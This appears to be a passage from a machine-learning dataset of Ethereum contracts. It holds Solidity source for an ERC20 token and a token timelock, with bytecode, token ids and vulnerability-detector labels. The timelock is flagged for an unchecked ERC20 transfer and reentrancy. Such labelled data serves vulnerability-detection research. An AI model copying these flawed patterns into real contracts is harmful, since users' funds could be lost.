001908152602001600020600101549050919050565b60045481565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001549050919050565b600080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015490506004544210610ffb5780915050611027565b6301e133806003544261100e9190611c63565b826110199190611c09565b6110239190611bd8565b9150505b919050565b60035481565b61103a61112a565b73ffffffffffffffffffffffffffffffffffffffff16611058610c4c565b73ffffffffffffffffffffffffffffffffffffffff16146110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a590611a58565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561111e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611115906119f8565b60405180910390fd5b611127816111b8565b50565b600033905090565b6111b38363a9059cbb60e01b8484604051602401611151929190611977565b604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff838183161783525050505061127c565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006112de826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff166113439092919063ffffffff16565b905060008151111561133e57808060200190518101906112fe919061177b565b61133d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133490611a98565b60405180910390fd5b5b505050565b6060611352848460008561135b565b90509392505050565b6060824710156113a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139790611a38565b60405180910390fd5b6113a98561146f565b6113e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113df90611a78565b60405180910390fd5b6000808673ffffffffffffffffffffffffffffffffffffffff1685876040516114119190611945565b60006040518083038185875af1925050503d806000811461144e576040519150601f19603f3d011682016040523d82523d6000602084013e611453565b606091505b5091509150611463828286611482565b92505050949350505050565b600080823b905060008111915050919050565b60608315611492578290506114e2565b6000835111156114a55782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d991906119d6565b60405180910390fd5b9392505050565b60006114fc6114f784611af8565b611ad3565b9050808382526020820190508285602086028201111561151b57600080fd5b60005b8581101561154b578161153188826115c1565b84526020840193506020830192505060018101905061151e565b5050509392505050565b600061156861156384611b24565b611ad3565b9050808382526020820190508285602086028201111561158757600080fd5b60005b858110156115b7578161159d888261163f565b84526020840193506020830192505060018101905061158a565b5050509392505050565b6000813590506115d081611fdc565b92915050565b600082601f8301126115e757600080fd5b81356115f78482602086016114e9565b91505092915050565b600082601f83011261161157600080fd5b8135611621848260208601611555565b91505092915050565b60008151905061163981611ff3565b92915050565b60008135905061164e8161200a565b92915050565b6000815190506116638161200a565b92915050565b60006020828403121561167b57600080fd5b6000611689848285016115c1565b91505092915050565b600080604083850312156116a557600080fd5b60006116b3858286016115c1565b92505060206116c48582860161163f565b9150509250929050565b6000602082840312156116e057600080fd5b600082013567ffffffffffffffff8111156116fa57600080fd5b611706848285016115d6565b91505092915050565b6000806040838503121561172257600080fd5b600083013567ffffffffffffffff81111561173c57600080fd5b611748858286016115d6565b925050602083013567ffffffffffffffff81111561176557600080fd5b61177185828601611600565b9150509250929050565b60006020828403121561178d57600080fd5b600061179b8482850161162a565b91505092915050565b6000602082840312156117b657600080fd5b60006117c484828501611654565b91505092915050565b6117d681611c97565b82525050565b6117e581611ca9565b82525050565b60006117f682611b50565b6118008185611b66565b9350611810818560208601611d03565b80840191505092915050565b61182581611cdf565b82525050565b600061183682611b5b565b6118408185611b71565b9350611850818560208601611d03565b61185981611e3d565b840191505092915050565b6000611871602683611b71565b915061187c82611e4e565b604082019050919050565b6000611894602883611b71565b915061189f82611e9d565b604082019050919050565b60006118b7602683611b71565b91506118c282611eec565b604082019050919050565b60006118da602083611b71565b91506118e582611f3b565b602082019050919050565b60006118fd601d83611b71565b915061190882611f64565b602082019050919050565b6000611920602a83611b71565b915061192b82611f8d565b604082019050919050565b61193f81611cd5565b82525050565b600061195182846117eb565b915081905092915050565b600060208201905061197160008301846117cd565b92915050565b600060408201905061198c60008301856117cd565b6119996020830184611936565b9392505050565b60006020820190506119b560008301846117dc565b92915050565b60006020820190506119d0600083018461181c565b92915050565b600060208201905081810360008301526119f0818461182b565b905092915050565b60006020820190508181036000830152611a1181611864565b9050919050565b60006020820190508181036000830152611a3181611887565b9050919050565b60006020820190508181036000830152611a51816118aa565b9050919050565b60006020820190508181036000830152611a71816118cd565b9050919050565b60006020820190508181036000830152611a91816118f0565b9050919050565b60006020820190508181036000830152611ab181611913565b9050919050565b6000602082019050611acd6000830184611936565b92915050565b6000611add611aee565b9050611ae98282611d36565b919050565b6000604051905090565b600067ffffffffffffffff821115611b1357611b12611e0e565b5b602082029050602081019050919050565b600067ffffffffffffffff821115611b3f57611b3e611e0e565b5b602082029050602081019050919050565b600081519050919050565b600081519050919050565b600081905092915050565b600082825260208201905092915050565b6000611b8d82611cd5565b9150611b9883611cd5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611bcd57611bcc611db0565b5b828201905092915050565b6000611be382611cd5565b9150611bee83611cd5565b925082611bfe57611bfd611ddf565b5b828204905092915050565b6000611c1482611cd5565b9150611c1f83611cd5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611c5857611c57611db0565b5b828202905092915050565b6000611c6e82611cd5565b9150611c7983611cd5565b925082821015611c8c57611c8b611db0565b5b828203905092915050565b6000611ca282611cb5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000611cea82611cf1565b9050919050565b6000611cfc82611cb5565b9050919050565b60005b83811015611d21578082015181840152602081019050611d06565b83811115611d30576000848401525b50505050565b611d3f82611e3d565b810181811067ffffffffffffffff82111715611d5e57611d5d611e0e565b5b80604052505050565b6000611d7282611cd5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611da557611da4611db0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f466f726566726f6e7456657374696e673a206e6f20746f6b656e73206172652060008201527f7665737461626c65000000000000000000000000000000000000000000000000602082015250565b7f416464726573733a20696e73756666696369656e742062616c616e636520666f60008201527f722063616c6c0000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f416464726573733a2063616c6c20746f206e6f6e2d636f6e7472616374000000600082015250565b7f5361666545524332303a204552433230206f7065726174696f6e20646964206e60008201527f6f74207375636365656400000000000000000000000000000000000000000000602082015250565b611fe581611c97565b8114611ff057600080fd5b50565b611ffc81611ca9565b811461200757600080fd5b50565b61201381611cd5565b811461201e57600080fd5b5056fea26469706673582212207bc727e3647b396bc94bb7ccc9ad8d10e6ef129d2fd23a27d0262d11d66bc34864736f6c63430008040033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 2063, 23833, 2094, 21486, 2692, 2620, 4246, 21084, 2278, 24087, 22022, 7011, 21084, 21057, 2620, 2278, 27531, 2063, 2683, 2509, 10322, 2497, 2581, 2063, 2509, 4215, 1013, 1013, 8311, 1013, 22870, 6961, 3436, 1012, 14017, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 3229, 1013, 2219, 3085, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 29464, 11890, 11387, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 19204, 1013, 9413, 2278, 11387, 1013, 21183, 12146, 1013, 3647, 2121, 2278, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,894
0x95e2bc979fbcd7b2d1c7fffef12fc70f4a923c59
pragma solidity ^0.5.0; // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public view returns (uint); function balanceOf(address tokenOwner) public view returns (uint balance); function allowance(address tokenOwner, address spender) public view returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Safe Math Library // ---------------------------------------------------------------------------- contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract MilkyWay is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = "MilkyWay"; symbol = "MLW"; decimals = 18; _totalSupply = 47000000000000000000000000; balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } }
0x6080604052600436106100d0576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100d5578063095ea7b31461016557806318160ddd146101d857806323b872dd14610203578063313ce567146102965780633eaaf86b146102c757806370a08231146102f257806395d89b4114610357578063a293d1e8146103e7578063a9059cbb14610440578063b5931f7c146104b3578063d05c78da1461050c578063dd62ed3e14610565578063e6cb9013146105ea575b600080fd5b3480156100e157600080fd5b506100ea610643565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561012a57808201518184015260208101905061010f565b50505050905090810190601f1680156101575780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561017157600080fd5b506101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106e1565b604051808215151515815260200191505060405180910390f35b3480156101e457600080fd5b506101ed6107d3565b6040518082815260200191505060405180910390f35b34801561020f57600080fd5b5061027c6004803603606081101561022657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061081e565b604051808215151515815260200191505060405180910390f35b3480156102a257600080fd5b506102ab610aae565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102d357600080fd5b506102dc610ac1565b6040518082815260200191505060405180910390f35b3480156102fe57600080fd5b506103416004803603602081101561031557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ac7565b6040518082815260200191505060405180910390f35b34801561036357600080fd5b5061036c610b10565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103ac578082015181840152602081019050610391565b50505050905090810190601f1680156103d95780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103f357600080fd5b5061042a6004803603604081101561040a57600080fd5b810190808035906020019092919080359060200190929190505050610bae565b6040518082815260200191505060405180910390f35b34801561044c57600080fd5b506104996004803603604081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bca565b604051808215151515815260200191505060405180910390f35b3480156104bf57600080fd5b506104f6600480360360408110156104d657600080fd5b810190808035906020019092919080359060200190929190505050610d53565b6040518082815260200191505060405180910390f35b34801561051857600080fd5b5061054f6004803603604081101561052f57600080fd5b810190808035906020019092919080359060200190929190505050610d77565b6040518082815260200191505060405180910390f35b34801561057157600080fd5b506105d46004803603604081101561058857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b6040518082815260200191505060405180910390f35b3480156105f657600080fd5b5061062d6004803603604081101561060d57600080fd5b810190808035906020019092919080359060200190929190505050610e2f565b6040518082815260200191505060405180910390f35b60008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106d95780601f106106ae576101008083540402835291602001916106d9565b820191906000526020600020905b8154815290600101906020018083116106bc57829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460035403905090565b6000610869600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610932600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109fb600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600260009054906101000a900460ff1681565b60035481565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ba65780601f10610b7b57610100808354040283529160200191610ba6565b820191906000526020600020905b815481529060010190602001808311610b8957829003601f168201915b505050505081565b6000828211151515610bbf57600080fd5b818303905092915050565b6000610c15600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610bae565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ca1600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483610e2f565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008082111515610d6357600080fd5b8183811515610d6e57fe5b04905092915050565b600081830290506000831480610d975750818382811515610d9457fe5b04145b1515610da257600080fd5b92915050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008183019050828110151515610e4557600080fd5b9291505056fea165627a7a7230582086c9ae181fee533c28e99dfc18cc71e15bb2238e8ecec4693bf61db846bf944a0029
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2629, 2063, 2475, 9818, 2683, 2581, 2683, 26337, 19797, 2581, 2497, 2475, 2094, 2487, 2278, 2581, 4246, 7959, 2546, 12521, 11329, 19841, 2546, 2549, 2050, 2683, 21926, 2278, 28154, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1019, 1012, 1014, 1025, 1013, 1013, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1011, 1013, 1013, 9413, 2278, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,895
0x95e31b40c320c97d1dec797f1bd96b0980250e15
pragma solidity ^0.4.18; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract token { function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public{ owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract lockEtherPay is Ownable { using SafeMath for uint256; token token_reward; address public beneficiary; bool public isLocked = false; bool public isReleased = false; uint256 public start_time; uint256 public end_time; uint256 public fifty_two_weeks = 30412800; event TokenReleased(address beneficiary, uint256 token_amount); constructor() public{ token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6); beneficiary = 0x7d46f5da8598147Bb6e15D4Db18938Ecb608eFec; } function tokenBalance() constant public returns (uint256){ return token_reward.balanceOf(this); } function lock() public onlyOwner returns (bool){ require(!isLocked); require(tokenBalance() > 0); start_time = now; end_time = start_time.add(fifty_two_weeks); isLocked = true; } function lockOver() constant public returns (bool){ uint256 current_time = now; return current_time > end_time; } function release() onlyOwner public{ require(isLocked); require(!isReleased); require(lockOver()); uint256 token_amount = tokenBalance(); token_reward.transfer( beneficiary, token_amount); emit TokenReleased(beneficiary, token_amount); isReleased = true; } }
0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806316243356146100bf57806338af3eed146100ea5780636e15266a14610141578063834ee4171461016c57806386d1a69f146101975780638da5cb5b146101ae5780639b7faaf0146102055780639e1a4d1914610234578063a4e2d6341461025f578063f2fde38b1461028e578063f83d08ba146102d1578063fa2a899714610300575b600080fd5b3480156100cb57600080fd5b506100d461032f565b6040518082815260200191505060405180910390f35b3480156100f657600080fd5b506100ff610335565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561014d57600080fd5b5061015661035b565b6040518082815260200191505060405180910390f35b34801561017857600080fd5b50610181610361565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610367565b005b3480156101ba57600080fd5b506101c36105e6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561021157600080fd5b5061021a61060b565b604051808215151515815260200191505060405180910390f35b34801561024057600080fd5b5061024961061c565b6040518082815260200191505060405180910390f35b34801561026b57600080fd5b5061027461071b565b604051808215151515815260200191505060405180910390f35b34801561029a57600080fd5b506102cf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061072e565b005b3480156102dd57600080fd5b506102e6610883565b604051808215151515815260200191505060405180910390f35b34801561030c57600080fd5b50610315610954565b604051808215151515815260200191505060405180910390f35b60045481565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60055481565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156103c457600080fd5b600260149054906101000a900460ff1615156103df57600080fd5b600260159054906101000a900460ff161515156103fb57600080fd5b61040361060b565b151561040e57600080fd5b61041661061c565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156104ff57600080fd5b505af1158015610513573d6000803e3d6000fd5b505050506040513d602081101561052957600080fd5b8101908080519060200190929190505050507f9cf9e3ab58b33f06d81842ea0ad850b6640c6430d6396973312e1715792e7a91600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a16001600260156101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080429050600454811191505090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156106db57600080fd5b505af11580156106ef573d6000803e3d6000fd5b505050506040513d602081101561070557600080fd5b8101908080519060200190929190505050905090565b600260149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561078957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156107c557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108e057600080fd5b600260149054906101000a900460ff161515156108fc57600080fd5b600061090661061c565b11151561091257600080fd5b4260038190555061093060055460035461096790919063ffffffff16565b6004819055506001600260146101000a81548160ff02191690831515021790555090565b600260159054906101000a900460ff1681565b600080828401905083811015151561097b57fe5b80915050929150505600a165627a7a723058208cd501036b72dddf0be0b075b3835a7477537fc2460fdddcaf52345a803eefc30029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2063, 21486, 2497, 12740, 2278, 16703, 2692, 2278, 2683, 2581, 2094, 2487, 3207, 2278, 2581, 2683, 2581, 2546, 2487, 2497, 2094, 2683, 2575, 2497, 2692, 2683, 17914, 17788, 2692, 2063, 16068, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 1013, 1008, 1008, 1008, 1030, 2516, 3647, 18900, 2232, 1008, 1030, 16475, 8785, 3136, 2007, 3808, 14148, 2008, 5466, 2006, 7561, 1008, 1013, 3075, 3647, 18900, 2232, 1063, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 20865, 1006, 1037, 1027, 1027, 1014, 1064, 1064, 1039, 1013, 1037, 1027, 1027, 1038, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,896
0x95E3e250AD0928bFA238c68AF75B2873C2184942
